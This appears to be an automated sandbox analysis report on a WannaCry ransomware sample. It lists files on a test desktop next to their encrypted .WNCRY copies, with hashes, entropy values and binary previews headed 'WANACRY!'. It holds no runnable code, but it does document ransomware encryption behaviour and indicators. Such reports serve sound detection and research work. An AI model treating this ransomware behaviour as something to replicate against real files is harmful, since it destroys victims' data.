                                    MD5:962021A0687EF8B744B05B02295E1AA0
                                    SHA1:902632BCEE3E25913D776CF64E98172B184BE99D
                                    SHA-256:CB06B68C0A8F992850D510AAA27F05C4D28A6EF85977571C2FE7BB2CEEC18A91
                                    SHA-512:3B5CB72E4D231BEE2C0B76E28F29404FC89772E707264BC312B84944BB72697E9E9A4B43D7F68681BA8F04E6B7CC3CD1792A49A66B43FCEEB5264A061A381DDD
                                    Malicious:false
                                    Preview:.....w............>*J.i.Eh{F.b.7.>...m1...A..V.0.l)?<....RB.m....,..k....?7i.P........RqH..Mz..+..f..;..{...$&\..Lz.......#M.C.....7..e..H..'........Em.z>F.f.V..WGS..............7....n..u.)......hs.g.+....>y.^.............t..P.E......Q".u.0..>..].5wG.,..8"M.Y..-...a~...>......i.{Y.a:....Lj.-..)..D.2-[.....;5./O..v(.....n..'..)g.g....L..E.>.[..(A..m..p..!.....QSW..8..@a..wO.aO...|"...I.H..L./...Lk.a...l6..A.S..../..m.@g......?g.;........q/..<W..4Z..0..qG..Jv.l.........-...T..M.N.6.m8d~......G.i0\L..SD.@a8m...d.......D>....q......e.w....b.A.4......ZG..1^WxK5*.J.."....^..>.e.c.*..R..#....YV@|*..D.eD......p."...:c.j.!_..!.b......E.*.C....^.w/#.HW<...&:.;....[.nI......a%1n..8&......m.3...b.y.s-....Z......|..{:g....Azt.B.....y... ..|u.....n...b.*...g.S{..7@..M..bP...Q.v....Vil....=......h..?......F.>.c..B....?... H...d....{.8..D.*.5..l.@.>....&#..o.S....Il:.~...<.K.F....C|?..Mt....8=+..T...4.J.x,.[g.P.}.lc="zg..T_o.n..<.6 ...

                                    C:\Users\user\Desktop\UNKRLCVOHV\LIJDSFKJZG.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8513179035472795
                                    Encrypted:false
                                    SSDEEP:24:bkO69KvodfiuD648kf54dC4aPIGJz1FTkf1z9B84N7QHanNhEt/xbjG6RWbNcaX:bkOuKQdaAh4dCjIe1Vkf1z9B80sHaY/G
                                    MD5:083E5E39205DF5B83A0995249B53F03A
                                    SHA1:70F6B761F9B4E4CC125AC3A8CEB2BEEE9A468E20
                                    SHA-256:2373A7DD90853DEE5328DD97DA3CFFE478F5BC6A4D6837D722C11F8AA4C595E7
                                    SHA-512:4E3890856E06605F67629D9BAC98CBF446670CABB98A890E2F09642FD21C6E57BA2062789BB37CA527DF3E8B9F936ED335500245DDB5ED4269581123CBB6E757
                                    Malicious:false
                                    Preview:WANACRY!......E../U.;.l'.1J>.{.......\.]... .hu..R.S..U..}z .q.B....z.M...D.....G..'9...Z.o.C!......5.....( u.......]..U..du..do...PDM2.g..f..c.&a..Bv...Q7.....TbF..1..8.H.E..AjH'7.._..:td...k...&.....fK6.wq:.2M....?..D8...X.....r....+.D..n..d...?.....;..1.............S..v..l.......v.I.$.+...[f2...g..I$..[.C..A..] .h.@...x..!...u.N......Y{..-..0y.u...=..=..K.....k!....B.$...........l.w......H ..@.YhZ./.u.)U..&.A".Q.41.q...r,.2.+...`.......N.....3...^....%.8}..WS9n.lB.vK.....&q.2..@.1`#..j........./.....8L.7#/.*.;.MWx.Y.^..Q..*........!0vS..g.....U.sx.....q.f9......B.M{>.V........n...8P<h.l?..Z>I...r....+a..VH+..&............}8G...0.../.YS...P<h......}...TB..$..#............SV..R...YR.....E.. J5......iGB@...=:.....A..9.[.S.M.b.$.......LPC..RZ.S$....R..a.>.a..cL..S....nX...k..;..{..||.......Q.oL?..R9.......E.~{.....E.?..6..b.K+..r.^.W..a.%.K16.Y..P...V.x..Im...|...c..)...10.EV...Dg.....Pa..<.xv.....{....`.tv.J.[t].B.A.q.gp.#L......H...=...l9.l%

                                    C:\Users\user\Desktop\UNKRLCVOHV\LIJDSFKJZG.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8513179035472795
                                    Encrypted:false
                                    SSDEEP:24:bkO69KvodfiuD648kf54dC4aPIGJz1FTkf1z9B84N7QHanNhEt/xbjG6RWbNcaX:bkOuKQdaAh4dCjIe1Vkf1z9B80sHaY/G
                                    MD5:083E5E39205DF5B83A0995249B53F03A
                                    SHA1:70F6B761F9B4E4CC125AC3A8CEB2BEEE9A468E20
                                    SHA-256:2373A7DD90853DEE5328DD97DA3CFFE478F5BC6A4D6837D722C11F8AA4C595E7
                                    SHA-512:4E3890856E06605F67629D9BAC98CBF446670CABB98A890E2F09642FD21C6E57BA2062789BB37CA527DF3E8B9F936ED335500245DDB5ED4269581123CBB6E757
                                    Malicious:false
                                    Preview:WANACRY!......E../U.;.l'.1J>.{.......\.]... .hu..R.S..U..}z .q.B....z.M...D.....G..'9...Z.o.C!......5.....( u.......]..U..du..do...PDM2.g..f..c.&a..Bv...Q7.....TbF..1..8.H.E..AjH'7.._..:td...k...&.....fK6.wq:.2M....?..D8...X.....r....+.D..n..d...?.....;..1.............S..v..l.......v.I.$.+...[f2...g..I$..[.C..A..] .h.@...x..!...u.N......Y{..-..0y.u...=..=..K.....k!....B.$...........l.w......H ..@.YhZ./.u.)U..&.A".Q.41.q...r,.2.+...`.......N.....3...^....%.8}..WS9n.lB.vK.....&q.2..@.1`#..j........./.....8L.7#/.*.;.MWx.Y.^..Q..*........!0vS..g.....U.sx.....q.f9......B.M{>.V........n...8P<h.l?..Z>I...r....+a..VH+..&............}8G...0.../.YS...P<h......}...TB..$..#............SV..R...YR.....E.. J5......iGB@...=:.....A..9.[.S.M.b.$.......LPC..RZ.S$....R..a.>.a..cL..S....nX...k..;..{..||.......Q.oL?..R9.......E.~{.....E.?..6..b.K+..r.^.W..a.%.K16.Y..P...V.x..Im...|...c..)...10.EV...Dg.....Pa..<.xv.....{....`.tv.J.[t].B.A.q.gp.#L......H...=...l9.l%

                                    C:\Users\user\Desktop\UNKRLCVOHV\SNIPGPPREP.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.805139153930091
                                    Encrypted:false
                                    SSDEEP:24:sKYuHZzZxsUXYH4BYz9RWpxN+K9QbkCPxsIzOng6j4jc/1:yupZIYBYXWrN+K96vGBjF1
                                    MD5:578868A6D508321104030ABDC0A217BF
                                    SHA1:5485C2A5F34C0F8137A7C85C064E8D00FD9E56C0
                                    SHA-256:CF54EED45835E95E700B9E05ECDEBE77157209522C03C29F96368DBCB2C08C31
                                    SHA-512:BAD10A31EE21C44631C7CA0EBDE971AE31E3D340131404670123989E3E5DF178E772D3D0FC1DB2A1092032CEB974033C7A7BEFAA11EB27C144FDEC48A16B80F0
                                    Malicious:false
                                    Preview:...?[}I.8...e.I.....R?...x..x.x.\{.&k.....#..l.7..N..>3....o.F"[..O..-...w.Ow...9..:U.B..m.....&.n...P.?b.N6. .@k..Az...2.u...r.8...`.?H..q4R['.aH..>."&B..........>.C.Z...P4d..^....5.Qn...tY.$.k2P@<#...D.0My&.5&....._.....}.=.Z..D..2...uj.....EC..&..!f..k.....A.c..A?p"P.8..9G..;=R....a@0^..>./.....6}......6..x.7....8..."E++]{.c...U/.KsX2.>...-......>.z....B..ES.2.....8.d...M..j=OZ..C7..67I.>;Rq_.....>-'.....YU.K...H5c...~...d..x8i>M....A-.)2...yK..x./l.QY..[.}....=..y..zH.......s.e...op....d....s>.o.(..A.@...g....o#y.<....MB.>.r..$.......a1]...Ro. \......0,....Ntf...G...*..|...q.e&d.s&.|.m}.x.2-..r..'..........Byl..-..5.X..w..q.|.S)....U.o(.E..^.rV.mE2....;........N.....A{..t...cd....V..MSn]..+.$.8...f.'.......'......*&..g..v...r.M.Dg.@.)D5..I.'....;.8U...}>.6.?.MM...5..=".V.o.- *....5kU@l.$;.....1....d.L.I9.E.sk..5...R. ....tx,<(/..P.....D.xl.w.>...(..?uk.g....kel.+.#.n.>...eV.....M..4..'.E..t..|...d..L.0.wA.9n.8..)..O.z.?.`.......w

                                    C:\Users\user\Desktop\UNKRLCVOHV\SNIPGPPREP.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853243773012962
                                    Encrypted:false
                                    SSDEEP:24:bklT2foVEg57v3Rbf/aHx3GMHUG19dWeJLJ00w4P6vgiCbZLhJUNeeVRuTH:bkoQD3Rb4WMHNhJLabQaCbZLh2Nl7uTH
                                    MD5:72A8A13D97D336643204873914EFCCB8
                                    SHA1:FBAE70B1620F91D1BAE36B1520680354AACB37F6
                                    SHA-256:DF52A0C0DA1691C14625465578BAC44C5E70F7DE93614FBA1D5E92B7BE8779FB
                                    SHA-512:FF3B6A807E6DA96CBC4FF56833BBDE97B49FFD2D7481A552E5D9681CE31D210A7D45826970A2DF10974924C2F63DE802AF66CE1F8E17418F834A800E61497C3D
                                    Malicious:false
                                    Preview:WANACRY!....eD...T9......3...g?.p....krg}.X..]?..b.9z....7...d1i.....Id"Y.^)......4.....eau..^......QB.p.Zq.L......l...6.D...lI....tlJi..{....5).|.B})qU..ZV5...wXD."7.....5.......J..$f.".b.:.r....EV...`'.NW...........@...Z.....~7.....W@]..'cy....,...............cs.A].j.......P......v.......5...L!x..##.j..=.M..kWn.0....sj..]/.y..Y....^.&...I........$6.KO3.~....A...$...C.=..w........,.#...p./.;.....eL~.t..>-H."....4......q&..`..i.8cr%G...b..@....C..`..ksh...G..y.Jvm........G.G..6!...&.....+.Q......p.<.{.~].{."..~... ..u.X.F?X~.*.X.(....`./....9....|..`2.ha..fMx&..L..:.No..s.S.s.-.;....]..d..R...{...+xx...!......6.P2B....Dd...ZW..J:N3.C..p.....[)...P`.Ji.^;..*3..wA6.P>.....1...z....&1..1..6...S.9..._..@.z.......+..2o~FLx.X...`........)-l....z.n.._.$!.lD..K...Rf^|0.v..z...E..k.f.<.c}V..m......PF.....W..E..l...W.....g.".N.r.m.v"F..~!.B...^D.6.2...aI{M*v....E...g.....e.k..^}..T.......J...0..W....5k.....x..B.A....:.'.(.7....c......Y.X......

                                    C:\Users\user\Desktop\UNKRLCVOHV\SNIPGPPREP.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.853243773012962
                                    Encrypted:false
                                    SSDEEP:24:bklT2foVEg57v3Rbf/aHx3GMHUG19dWeJLJ00w4P6vgiCbZLhJUNeeVRuTH:bkoQD3Rb4WMHNhJLabQaCbZLh2Nl7uTH
                                    MD5:72A8A13D97D336643204873914EFCCB8
                                    SHA1:FBAE70B1620F91D1BAE36B1520680354AACB37F6
                                    SHA-256:DF52A0C0DA1691C14625465578BAC44C5E70F7DE93614FBA1D5E92B7BE8779FB
                                    SHA-512:FF3B6A807E6DA96CBC4FF56833BBDE97B49FFD2D7481A552E5D9681CE31D210A7D45826970A2DF10974924C2F63DE802AF66CE1F8E17418F834A800E61497C3D
                                    Malicious:false
                                    Preview:WANACRY!....eD...T9......3...g?.p....krg}.X..]?..b.9z....7...d1i.....Id"Y.^)......4.....eau..^......QB.p.Zq.L......l...6.D...lI....tlJi..{....5).|.B})qU..ZV5...wXD."7.....5.......J..$f.".b.:.r....EV...`'.NW...........@...Z.....~7.....W@]..'cy....,...............cs.A].j.......P......v.......5...L!x..##.j..=.M..kWn.0....sj..]/.y..Y....^.&...I........$6.KO3.~....A...$...C.=..w........,.#...p./.;.....eL~.t..>-H."....4......q&..`..i.8cr%G...b..@....C..`..ksh...G..y.Jvm........G.G..6!...&.....+.Q......p.<.{.~].{."..~... ..u.X.F?X~.*.X.(....`./....9....|..`2.ha..fMx&..L..:.No..s.S.s.-.;....]..d..R...{...+xx...!......6.P2B....Dd...ZW..J:N3.C..p.....[)...P`.Ji.^;..*3..wA6.P>.....1...z....&1..1..6...S.9..._..@.z.......+..2o~FLx.X...`........)-l....z.n.._.$!.lD..K...Rf^|0.v..z...E..k.f.<.c}V..m......PF.....W..E..l...W.....g.".N.r.m.v"F..~!.B...^D.6.2...aI{M*v....E...g.....e.k..^}..T.......J...0..W....5k.....x..B.A....:.'.(.7....c......Y.X......

                                    C:\Users\user\Desktop\UNKRLCVOHV\UNKRLCVOHV.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:COM executable for DOS
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.800183839624343
                                    Encrypted:false
                                    SSDEEP:24:fZCVobWldSct9by72LyoHUW70nmTti/rYHDMdy8is5ce2G/rQza:fZCRSct9+Kfp0nmTti8j6F5XzzQ2
                                    MD5:F7E0EAEF771E89727B4C3866B688E113
                                    SHA1:2E2C0F98CEAB9F98A7D4AE89E6A4DB172F826833
                                    SHA-256:E266DAAE6D601F65D7D1C1AE53A3D29721688C8EE96D7C40C665DB1B79012D54
                                    SHA-512:3965AB56BB4F07B4D09D4ACA47ED89AA4950C7BCCE22C10828D9F5DA1C0B8D9FE3013CED6AB47CAAF0BCA8C0C61E1E7A5A69F944F04F72F3AFE970E08F71021D
                                    Malicious:true
                                    Preview:.*..l....[.}...m...5m..3%.*.Q#.w!....]...4.t;?.......Up.r)yt}..`y.:..0.S]...>.x....2(.S...e.Q>..G.f.....q......._.^V.Y.....e#.`..E|.^..TE..,..........W.c}J.0...5. .KKO.......H/. P.b...F.m..@..U.h..(swgJ.B>z.Ye)...|r.gTq.\.8`......K....~.n~..`...3.*.x.y)2)..j?.G...**!....]..rm.q#................\4...Q...4I..u._.....7)....X.S0v.4s.V....p...)1P......c^..v.Z.x.vf.....+'8(i...T.r1W5.)-1f.vu....Q.6.)*.e,:...$.....B#.g.\..\?.*.........\72e...I.EH...zs.....VF.l....;.p....Z.......>..^a.n...0..%p..L.S..)..gP~v...Z6t.._HON...q..m.B...9`W.D.$.2..My.e.A.......Sy......d4%&.....v.>...D=.....dV9n.MC$........U.`..l.77..[..hyPe.$....9D...W..r8.IF|h.........kU.{.)..b...8..$..*.S.>rN.Lp..7...O...#|e.6..i...z1..)....{C..=.VEq.q..l.(E.......~...O5........^..iM`.*..ID#......E......a.;.%K.....U.A.`.)nQ.e...0k..r..M...;..%...~m.!..Aw.........=5J'...@48I.r.]U...&.X[A3...%.."....r.....%.H...v.@.C.}...j..f..7...H.B.Ev.jq.W_.d.....A..*Q3..8...H.........B

                                    C:\Users\user\Desktop\UNKRLCVOHV\UNKRLCVOHV.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852570897839342
                                    Encrypted:false
                                    SSDEEP:24:bkzfOBnfNXa2MCfvGmxUTQtSBOCunArkDdbO+G0XyFV91Dwz9mOeKbrD:bkzfOBVGdR5BOTArmdbRziFV9mz9rbD
                                    MD5:93BA81096736503F63B2F0E230808A2A
                                    SHA1:AE05E895635AACAE27627F42FCE8E8A898C89EE3
                                    SHA-256:D8969BBE36BA66585002D6967F69874C8890D01BF18A5FE189180BE1172DA98A
                                    SHA-512:AE13A40266073E35AB21B564B7119D1305797054549DC54105F296D06CAA0668D551EDA1196C9187AAC6614292258251A1DB710E2F8EF0572C08048942F52308
                                    Malicious:false
                                    Preview:WANACRY!.....,`..k.Bd.7..>z.p!.{....O..t..a0.l.kM...5(...%7y.....r-...>.}b..[.....|.....*.....)?5.^Q:b..-..N.R.4OF}..36....W....K.a.dd=..'Z...e....[c...%..hg..++.N|...l.7...(........Y6=.dL...+c?......f.`....<.}.=.(..z....k..|..|..x..p.o^Z.x-.e..........z[j............M..=...1......p.'J..~.R.P..o.,Z...+,=.w...w.\..d...^..$!..%o2..dm......qt."........*..[.F.a.-.t8.k..... $g........Z.......*?Wbd..X..{..F...3.8..\......G...W8..........'..n..6..=...Z.....G0~1@.3.s......4z.....f./...?..-....i.'J.y=m.,x:.<......w...Eb.V..y...-.A......a...|..[ ....b.. ..D|0..z.G..:.A......K.......8$i..~...e.Z...m%?<.....N..k..L.i.Z.....t|G....17K......*......"/..0..[..j.v....R.s..=.`0.U...d..S4......7.%D..:..)..oi.((>qXL8&...D=..!....gh...-......J....@K3.k...%w...?.r|(o`..?-%^y.J.+.1<..!M..-.{u..C...sb.v"i...Y.h.s~.d.....X.U...i....9...E.K.@...kncd..<.}C..t\.\..k....Fk.67...&....w...Y.r.[#V.....%...V.....>Q...W.z.Qt..p....vp..Af..{.q.8...B...n....^`.HZ.Z..

                                    C:\Users\user\Desktop\UNKRLCVOHV\UNKRLCVOHV.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852570897839342
                                    Encrypted:false
                                    SSDEEP:24:bkzfOBnfNXa2MCfvGmxUTQtSBOCunArkDdbO+G0XyFV91Dwz9mOeKbrD:bkzfOBVGdR5BOTArmdbRziFV9mz9rbD
                                    MD5:93BA81096736503F63B2F0E230808A2A
                                    SHA1:AE05E895635AACAE27627F42FCE8E8A898C89EE3
                                    SHA-256:D8969BBE36BA66585002D6967F69874C8890D01BF18A5FE189180BE1172DA98A
                                    SHA-512:AE13A40266073E35AB21B564B7119D1305797054549DC54105F296D06CAA0668D551EDA1196C9187AAC6614292258251A1DB710E2F8EF0572C08048942F52308
                                    Malicious:false
                                    Preview:WANACRY!.....,`..k.Bd.7..>z.p!.{....O..t..a0.l.kM...5(...%7y.....r-...>.}b..[.....|.....*.....)?5.^Q:b..-..N.R.4OF}..36....W....K.a.dd=..'Z...e....[c...%..hg..++.N|...l.7...(........Y6=.dL...+c?......f.`....<.}.=.(..z....k..|..|..x..p.o^Z.x-.e..........z[j............M..=...1......p.'J..~.R.P..o.,Z...+,=.w...w.\..d...^..$!..%o2..dm......qt."........*..[.F.a.-.t8.k..... $g........Z.......*?Wbd..X..{..F...3.8..\......G...W8..........'..n..6..=...Z.....G0~1@.3.s......4z.....f./...?..-....i.'J.y=m.,x:.<......w...Eb.V..y...-.A......a...|..[ ....b.. ..D|0..z.G..:.A......K.......8$i..~...e.Z...m%?<.....N..k..L.i.Z.....t|G....17K......*......"/..0..[..j.v....R.s..=.`0.U...d..S4......7.%D..:..)..oi.((>qXL8&...D=..!....gh...-......J....@K3.k...%w...?.r|(o`..?-%^y.J.+.1<..!M..-.{u..C...sb.v"i...Y.h.s~.d.....X.U...i....9...E.K.@...kncd..<.}C..t\.\..k....Fk.67...&....w...Y.r.[#V.....%...V.....>Q...W.z.Qt..p....vp..Af..{.q.8...B...n....^`.HZ.Z..

                                    C:\Users\user\Desktop\UNKRLCVOHV\WSHEJMDVQC.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.801442726397048
                                    Encrypted:false
                                    SSDEEP:24:Hbgsk00aJwAoH7vJzo9bOPkSsWKiJBgJcN170lEQOwEeTRTC:JkfaJwAoNCiPsEJBzn7eEQeeY
                                    MD5:DD7715AAE233F3573625D8A8188CB8C4
                                    SHA1:7442DD17B1EB947E9FBE9C8E78198B61C88EA434
                                    SHA-256:CC9B551078C7CD107023224F7E7D073CE1F71B75AEBC6B687799663EB285A1DB
                                    SHA-512:25749F32AF5464154C896E6B438F2BFB85876DDF800BAB2C89E0786ECC8557273E3B45EBE5027B534AA31FF3CEF07CE6CB6AF7EAA6E85FE5D021C090300050B1
                                    Malicious:false
                                    Preview:.]...`(F.k.U...........@....Z!......L.... ).k.K.....t_.6k...P......A..7d..`..c U...1.2.{.k5;.....wA.ph...SS..6f .6.7...TW...k.iD8E...,7.Q...N.."..s.|<NyA.U.U....k..g...cJ.B?.A..Y.........NX....MW<....s.....pS...}..9.`c...y...P@z...8...+mT?.S.5 .*....!...$:.... ..E.P.H*._Y.....7.b...I..{[W.Q+...{./.J.9.{.-.$(...#+%...$...p..P.S..P....E9..66.i.f.....yx.X6V.]..>...K.N.).g.....].|P.n.^N.{..7..zV.j..5Q...b..!.~..u.EZ....JI..H...E.V.TA..Y...?v..k...;..e.~..............>=....L%..j..&~....j..t?.R.9... ..=.:..A66F..JQ...f.j..)c.'....].....b.F.kJ4B..t......wn..t..W...c. ...A......I.@.6v..M.E.d..l..o...!.?.t^...&....D.p...&..I....A.....?O..&$...=...*. Q..&......;UU.....5s}h.%q..#T.*+Y....bsM....2fE...]....i..|.'j=...lv.....TZ`JBz.E\?....o..:.^r.!L..s...g509......W......(.....s..\..mA?s..U.MX...~.M.Qr....yJ......!.@/.#"Z......-..LVE).....%..t8v.:...D9....hK=.F.M...z...I7.d.G.+A6...=.0..S.....O^.y.>/d.:/}..+_.GH.R..+..t.~.t_......<E0S.X.<.cT..

                                    C:\Users\user\Desktop\UNKRLCVOHV\WSHEJMDVQC.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.842173454127575
                                    Encrypted:false
                                    SSDEEP:24:bkGkcaCF+z5i6+6Z5fuIDiWMsc+VawQ85lgTszOnoVuWyhh:bkGkrCEz1jZFBpM9+VLyXzW2h
                                    MD5:60981A66CAFF694861D936873E701229
                                    SHA1:45CCBA59197790B8C8C29BADE24541BFB8230FCA
                                    SHA-256:37D5F717AC55598737FEB133E9E00652DE5BDE69B82C05EA33AF024FF6C2FBD6
                                    SHA-512:83432631334BC3BD92BD282F448C9D48E4F19484138EFCAC76E1AA226B1D0EAFA2EAF5ED423E6F21D086EB79B363769AA1C6127639871FC69B4C93EE8F56B421
                                    Malicious:false
                                    Preview:WANACRY!....1.[.lt..s.@...O!.w.W...?.'..g2>...."......AoZ`.g..pA#.w3."..+.Q.'..3.m.@.R.....q.Z3.u,...Uo.A....@.[+n...B...9g`..i...w.]..9.E.U...0.[.............uL..3r...lj...b..G#e..`.Cd{J}.s.U.....&Lph.W.{.._|8A...m..W.n..e.W........v...x....).j,..`..............m..ry`..1.."...S.7WG7.V|!#^....}.q..t<9.....,...U.....^.]...(........F.....c.@(J.... @)..z..b....N0V..3...>m.j-..9..,C.Y.y..&...r.84....v....W.?.[H..K..@.=.0w...%..|.o..8Q..hJ.....nF...J..3ov....pAp..%..&..*.}....]i..]-...._.t.R.OU.r$....!.............V...U...S)...I&.(~:..5....;...:.H....5.4G...'..M.".L..m$.~.T......\xHA.E..w..A..y8..d.D..u..K.5..v..Qc.!....6CPF.].Kv6Vp.Kha......3.q.......=.....M..2.qan'Y.\<..R..l..oLo.b....j...<..z/..V.....( 2..X.k).!c.(....'.d..?<H.s=.....B..R..Bo.........r..aK3....9.`..0r4.".Q.tI...IrG..l..BX&.T..$u@...c7..w>.Us.Y..a......M.;..3..[a'T....\}.\{..%.N1{\oy...T......;Coe.k.?+..0...,..!Q.}.f9[...c.}8.....bm..r.:.K,o.mt....

                                    C:\Users\user\Desktop\UNKRLCVOHV\WSHEJMDVQC.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.842173454127575
                                    Encrypted:false
                                    SSDEEP:24:bkGkcaCF+z5i6+6Z5fuIDiWMsc+VawQ85lgTszOnoVuWyhh:bkGkrCEz1jZFBpM9+VLyXzW2h
                                    MD5:60981A66CAFF694861D936873E701229
                                    SHA1:45CCBA59197790B8C8C29BADE24541BFB8230FCA
                                    SHA-256:37D5F717AC55598737FEB133E9E00652DE5BDE69B82C05EA33AF024FF6C2FBD6
                                    SHA-512:83432631334BC3BD92BD282F448C9D48E4F19484138EFCAC76E1AA226B1D0EAFA2EAF5ED423E6F21D086EB79B363769AA1C6127639871FC69B4C93EE8F56B421
                                    Malicious:false
                                    Preview:WANACRY!....1.[.lt..s.@...O!.w.W...?.'..g2>...."......AoZ`.g..pA#.w3."..+.Q.'..3.m.@.R.....q.Z3.u,...Uo.A....@.[+n...B...9g`..i...w.]..9.E.U...0.[.............uL..3r...lj...b..G#e..`.Cd{J}.s.U.....&Lph.W.{.._|8A...m..W.n..e.W........v...x....).j,..`..............m..ry`..1.."...S.7WG7.V|!#^....}.q..t<9.....,...U.....^.]...(........F.....c.@(J.... @)..z..b....N0V..3...>m.j-..9..,C.Y.y..&...r.84....v....W.?.[H..K..@.=.0w...%..|.o..8Q..hJ.....nF...J..3ov....pAp..%..&..*.}....]i..]-...._.t.R.OU.r$....!.............V...U...S)...I&.(~:..5....;...:.H....5.4G...'..M.".L..m$.~.T......\xHA.E..w..A..y8..d.D..u..K.5..v..Qc.!....6CPF.].Kv6Vp.Kha......3.q.......=.....M..2.qan'Y.\<..R..l..oLo.b....j...<..z/..V.....( 2..X.k).!c.(....'.d..?<H.s=.....B..R..Bo.........r..aK3....9.`..0r4.".Q.tI...IrG..l..BX&.T..$u@...c7..w>.Us.Y..a......M.;..3..[a'T....\}.\{..%.N1{\oy...T......;Coe.k.?+..0...,..!Q.}.f9[...c.}8.....bm..r.:.K,o.mt....

                                    C:\Users\user\Desktop\WHZAGPPPLA.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.811676260884001
                                    Encrypted:false
                                    SSDEEP:24:MwEo+F6Kn0JnLYSpzKToXpA0gxvNV7Tv8Tn9:HJXpzKeA0gV7TY9
                                    MD5:6640E47C32C3ADAF87F7320ED42397AC
                                    SHA1:65E60F8C7E110C4E400E241A38319D05A66739CF
                                    SHA-256:3628C030EB9B49DCD4D08E4EEF909C70EAC088EDC1824BF1C68E27B97DDA8954
                                    SHA-512:F6042311B28E0B0FD779E38AECFB04512BF57C58CEB980F0E611BE2A547186877C2119C37C85554A90D0EEDE3937E7468652094B324B45754DE3E5325E34D495
                                    Malicious:false
                                    Preview:..}...toA.........Fu.......... "....|..4.7sI[_X..i<.U...^..z..?......'.mY"P.JB.#m.>...l.4....iV..S.1 ....)..$G..Z|.-zJ.d.)..<.3lE.p...6.KfI....x...2...;.Y..R..S:.{...%.,...w..k..b.).......<$ S.....Z.....[.....E...b(...\...j....ewSw.Pum.vHJ..F.h...h..k......./..Z.....>.3s.-3... ..n....x`;..9Y.en.}........5n......g/.....dO.l.j.~ ..Y.x..F..u...<h..{W....GJ.g.._.pV.X:x...._..2.2...'..V...6uq.X...m|.....u.S....@..c5...... 3sZMHn.Y....my(1AN.L.S.K.n>...z......\.S..~..L..8........<(.LOW.l.^.$..o.=.Q.6g..`.R..In;.....f...1+.yQT.V].Q...R...b.e..[....=......m.EY".....?%..7...d..............</...a..S<.R/..Alo...r.9.#.7...M..;.7G.D.....l...`6.).z........V[.....f.PI.(.(..Q:D..G...1$b\L...y....p}i...h.H..I..c4..2.60..V@9..!.&l/.*!.?... GM....O..YS....1z92.M.q..D..vb:#P..q.F..Y.K.-..0.P....x.t....RT3..._3......p.....;.&WR(I<.>.Q.....?...'..z4..9..d..-.%..........Y.`u._..9k...gR...J.~}..g....-b.";.H........P..2.m..t\..@.........+.PW=EU...#tMz.

                                    C:\Users\user\Desktop\WHZAGPPPLA.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.847125901339738
                                    Encrypted:false
                                    SSDEEP:24:bk7hnSU5WsMsuxStr4FjKpNhd+5sQSIgCzbLIPcAbXPmVph/B0OIHQAPIWq:bkcU5WsZjcMNhysQNgobLIxb+g9HQR
                                    MD5:46889166D25A7A2FFB1CAD078D05D773
                                    SHA1:50960ED0BF92CB61A6898FC981EE6B7B060AF928
                                    SHA-256:1BBB8E4B6BC808C5081205B693B1F3F5F19A72236820313759F3588F544F85BD
                                    SHA-512:53217CAEB664F0D09ABE613F7A24EFB9A0DFCFDF62EDCF1ADB2EFCE519DCF125DF6C7542995319C22B958490006FB27E2FFD6B78408CA7140C175DB82069A58B
                                    Malicious:false
